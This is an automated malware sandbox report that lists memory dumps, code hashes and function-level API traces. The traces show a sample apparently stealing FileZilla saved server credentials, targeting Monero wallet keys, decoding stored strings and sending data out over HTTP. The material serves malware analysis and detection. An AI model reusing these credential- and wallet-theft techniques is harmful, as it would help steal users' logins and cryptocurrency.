Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a92cf750991d8126a7cc691d85b94b91ba64bb4ba179861f24e26cf002317e98
Instruction ID: 5c878423a3c1da29505cce677c0c2393b43a113bd6797a7603dc74068a604bb1
Opcode Fuzzy Hash: a92cf750991d8126a7cc691d85b94b91ba64bb4ba179861f24e26cf002317e98
Instruction Fuzzy Hash: DF5104F3B082045FE3146E1DDC8577AB7EADBD4720F2A413DDB8893780E97A6C058296

Function 00EA2C70 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09abc7859828229a5b8e9cc4da6c7c88713c3c53abf6120adf6ee069a097a33d
Instruction ID: 09b246e148c0d4fe97dec3634bded8f1c988a6d05ca520e7f0d6bff0833a9bc7
Opcode Fuzzy Hash: 09abc7859828229a5b8e9cc4da6c7c88713c3c53abf6120adf6ee069a097a33d
Instruction Fuzzy Hash: FB4113F3B047088BE3006E6DEC8572AF7D5EFD4710F1A853DCA8887380E939A9058286

Function 00E9043A Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13fc3cc5816a108e1d0d835e2ab4ce53ab836de854913dd9a8607700571ecbf9
Instruction ID: 0fbaac979e7e565e888c655a28bf302b56908b686cae9b91c1fb7792c336c283
Opcode Fuzzy Hash: 13fc3cc5816a108e1d0d835e2ab4ce53ab836de854913dd9a8607700571ecbf9
Instruction Fuzzy Hash: 9E4125E3E5831C47E308696CED9837AFAC8C720320F1B023DAF59927C5F8AE0A040284

Function 00F257B4 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbe70805beff6ff93f03f221ff6005bed463173e8ee5fd789e55e3549958f05d
Instruction ID: f77e0428a59aaaa2d7ce0bd6f347a045e59ec27baf1ff759e258258052934622
Opcode Fuzzy Hash: cbe70805beff6ff93f03f221ff6005bed463173e8ee5fd789e55e3549958f05d
Instruction Fuzzy Hash: FB41F6B354DB38DBC7043E69B994779F7E8EB14B20F36052E99C386340E5B15890B687

Function 00B09750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00B00250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B08DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B08E0B

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00AF99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00AF99EC
Part of subcall function 00AF99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00AF9A11
Part of subcall function 00AF99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00AF9A31
Part of subcall function 00AF99C0: ReadFile.KERNEL32(000000FF,?,00000000,00AF148F,00000000), ref: 00AF9A5A
Part of subcall function 00AF99C0: LocalFree.KERNEL32(00AF148F), ref: 00AF9A90
Part of subcall function 00AF99C0: CloseHandle.KERNEL32(000000FF), ref: 00AF9A9A

Part of subcall function 00B08E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B08E52

GetProcessHeap.KERNEL32(00000000,000F423F,00B10DBA,00B10DB7,00B10DB6,00B10DB3), ref: 00B00362
RtlAllocateHeap.NTDLL(00000000), ref: 00B00369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00B00385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B10DB2), ref: 00B00393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00B003CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B10DB2), ref: 00B003DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00B00419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B10DB2), ref: 00B00427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00B00463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B10DB2), ref: 00B00475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B10DB2), ref: 00B00502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B10DB2), ref: 00B0051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B10DB2), ref: 00B00532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B10DB2), ref: 00B0054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00B00562
lstrcat.KERNEL32(?,profile: null), ref: 00B00571
lstrcat.KERNEL32(?,url: ), ref: 00B00580
lstrcat.KERNEL32(?,00000000), ref: 00B00593
lstrcat.KERNEL32(?,00B11678), ref: 00B005A2
lstrcat.KERNEL32(?,00000000), ref: 00B005B5
lstrcat.KERNEL32(?,00B1167C), ref: 00B005C4
lstrcat.KERNEL32(?,login: ), ref: 00B005D3
lstrcat.KERNEL32(?,00000000), ref: 00B005E6
lstrcat.KERNEL32(?,00B11688), ref: 00B005F5
lstrcat.KERNEL32(?,password: ), ref: 00B00604
lstrcat.KERNEL32(?,00000000), ref: 00B00617
lstrcat.KERNEL32(?,00B11698), ref: 00B00626
lstrcat.KERNEL32(?,00B1169C), ref: 00B00635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B10DB2), ref: 00B0068E

Strings

password: , xrefs: 00B005FB
<Pass encoding="base64">, xrefs: 00B0045A
<Port>, xrefs: 00B003C6
browser: FileZilla, xrefs: 00B00559
login: , xrefs: 00B005CA
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00B002A4
profile: null, xrefs: 00B00568
url: , xrefs: 00B00577
<User>, xrefs: 00B00410
<Host>, xrefs: 00B0037C

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 7be7e174834585bee15c8e62291a2510cd8bdf2c1025bc3d1c2845f7ed7eaa92
Instruction ID: ffc75a0340393e0db9397704605d6a4bdc580877e6319dbe6670b21d25a48e0c
Opcode Fuzzy Hash: 7be7e174834585bee15c8e62291a2510cd8bdf2c1025bc3d1c2845f7ed7eaa92
Instruction Fuzzy Hash: 1FD12F71A10308ABCB04FBE4DD96EEE7BB8EF54300F508998F502A61D1DF75AA45CB61

Function 00AF5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00AF47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00AF4839
Part of subcall function 00AF47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00AF4849

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00AF59F8
StrCmpCA.SHLWAPI(?,018AFBE0), ref: 00AF5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00AF5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,018AFD00,00000000,?,018AE8F0,00000000,?,00B11A1C), ref: 00AF5E71
lstrlen.KERNEL32(00000000), ref: 00AF5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00AF5E93
RtlAllocateHeap.NTDLL(00000000), ref: 00AF5E9A
lstrlen.KERNEL32(00000000), ref: 00AF5EAF
lstrlen.KERNEL32(00000000), ref: 00AF5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00AF5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00AF5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00AF5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00AF5F4C
InternetCloseHandle.WININET(00000000), ref: 00AF5FB0
InternetCloseHandle.WININET(00000000), ref: 00AF5FBD
HttpOpenRequestA.WININET(00000000,018AFBF0,?,018AF500,00000000,00000000,00400100,00000000), ref: 00AF5BF8

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

InternetCloseHandle.WININET(00000000), ref: 00AF5FC7

Strings

------, xrefs: 00AF5A96
", xrefs: 00AF5CD5
------, xrefs: 00AF5C0B
------, xrefs: 00AF5D4C
", xrefs: 00AF5E16

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: a5e78b1671ab8cccf3dd0e3b44ef8ee317011af682a3ba12f1a24b63c82f4f50
Instruction ID: 4fe5008577e77f848ccdd22cc63bebaf06785da60911554bdb810d3a71430771
Opcode Fuzzy Hash: a5e78b1671ab8cccf3dd0e3b44ef8ee317011af682a3ba12f1a24b63c82f4f50
Instruction Fuzzy Hash: C6121E71920318AADB15EBA4DC95FEEB7B8BF14700F4045E9B106B20D1EF706A4ACF61

Function 00AFCEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B08B60: GetSystemTime.KERNEL32(00B10E1A,018AEBF0,00B105AE,?,?,00AF13F9,?,0000001A,00B10E1A,00000000,?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B08B86

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00AFCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00AFD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00AFD0CE
lstrcat.KERNEL32(?,00000000), ref: 00AFD208
lstrcat.KERNEL32(?,00B11478), ref: 00AFD217
lstrcat.KERNEL32(?,00000000), ref: 00AFD22A
lstrcat.KERNEL32(?,00B1147C), ref: 00AFD239
lstrcat.KERNEL32(?,00000000), ref: 00AFD24C
lstrcat.KERNEL32(?,00B11480), ref: 00AFD25B
lstrcat.KERNEL32(?,00000000), ref: 00AFD26E
lstrcat.KERNEL32(?,00B11484), ref: 00AFD27D
lstrcat.KERNEL32(?,00000000), ref: 00AFD290
lstrcat.KERNEL32(?,00B11488), ref: 00AFD29F
lstrcat.KERNEL32(?,00000000), ref: 00AFD2B2
lstrcat.KERNEL32(?,00B1148C), ref: 00AFD2C1
lstrcat.KERNEL32(?,00000000), ref: 00AFD2D4
lstrcat.KERNEL32(?,00B11490), ref: 00AFD2E3

Part of subcall function 00B0A820: lstrlen.KERNEL32(00AF4F05,?,?,00AF4F05,00B10DDE), ref: 00B0A82B
Part of subcall function 00B0A820: lstrcpy.KERNEL32(00B10DDE,00000000), ref: 00B0A885

lstrlen.KERNEL32(?), ref: 00AFD32A
lstrlen.KERNEL32(?), ref: 00AFD339

Part of subcall function 00B0AA70: StrCmpCA.SHLWAPI(018A8AB8,00AFA7A7,?,00AFA7A7,018A8AB8), ref: 00B0AA8F

DeleteFileA.KERNEL32(00000000), ref: 00AFD3B4

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 58da37aa97251d9fc90e3a0c996852435ae42512281692d045480689906aa207
Instruction ID: 1b27a91aef533b5de01e44638323175271823392d9ffab1e6dba442190303845
Opcode Fuzzy Hash: 58da37aa97251d9fc90e3a0c996852435ae42512281692d045480689906aa207
Instruction Fuzzy Hash: 6DE10D71A10308ABCB04EBA4DD96EEE77B8AF14301F504598F147B61E1DE35AE45CB72

Function 00AFC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,018ADA90,00000000,?,00B1144C,00000000,?,?), ref: 00AFCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00AFCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00AFCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00AFCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00AFCAD9
StrStrA.SHLWAPI(?,018ADA30,00B10B52), ref: 00AFCAF7
StrStrA.SHLWAPI(00000000,018AD868), ref: 00AFCB1E
StrStrA.SHLWAPI(?,018AE3E8,00000000,?,00B11458,00000000,?,00000000,00000000,?,018A8BB8,00000000,?,00B11454,00000000,?), ref: 00AFCCA2
StrStrA.SHLWAPI(00000000,018AE448), ref: 00AFCCB9

Part of subcall function 00AFC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00AFC871
Part of subcall function 00AFC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00AFC87C

StrStrA.SHLWAPI(?,018AE448,00000000,?,00B1145C,00000000,?,00000000,018A8BD8), ref: 00AFCD5A
StrStrA.SHLWAPI(00000000,018A8A48), ref: 00AFCD71

Part of subcall function 00AFC820: lstrcat.KERNEL32(?,00B10B46), ref: 00AFC943
Part of subcall function 00AFC820: lstrcat.KERNEL32(?,00B10B47), ref: 00AFC957
Part of subcall function 00AFC820: lstrcat.KERNEL32(?,00B10B4E), ref: 00AFC978

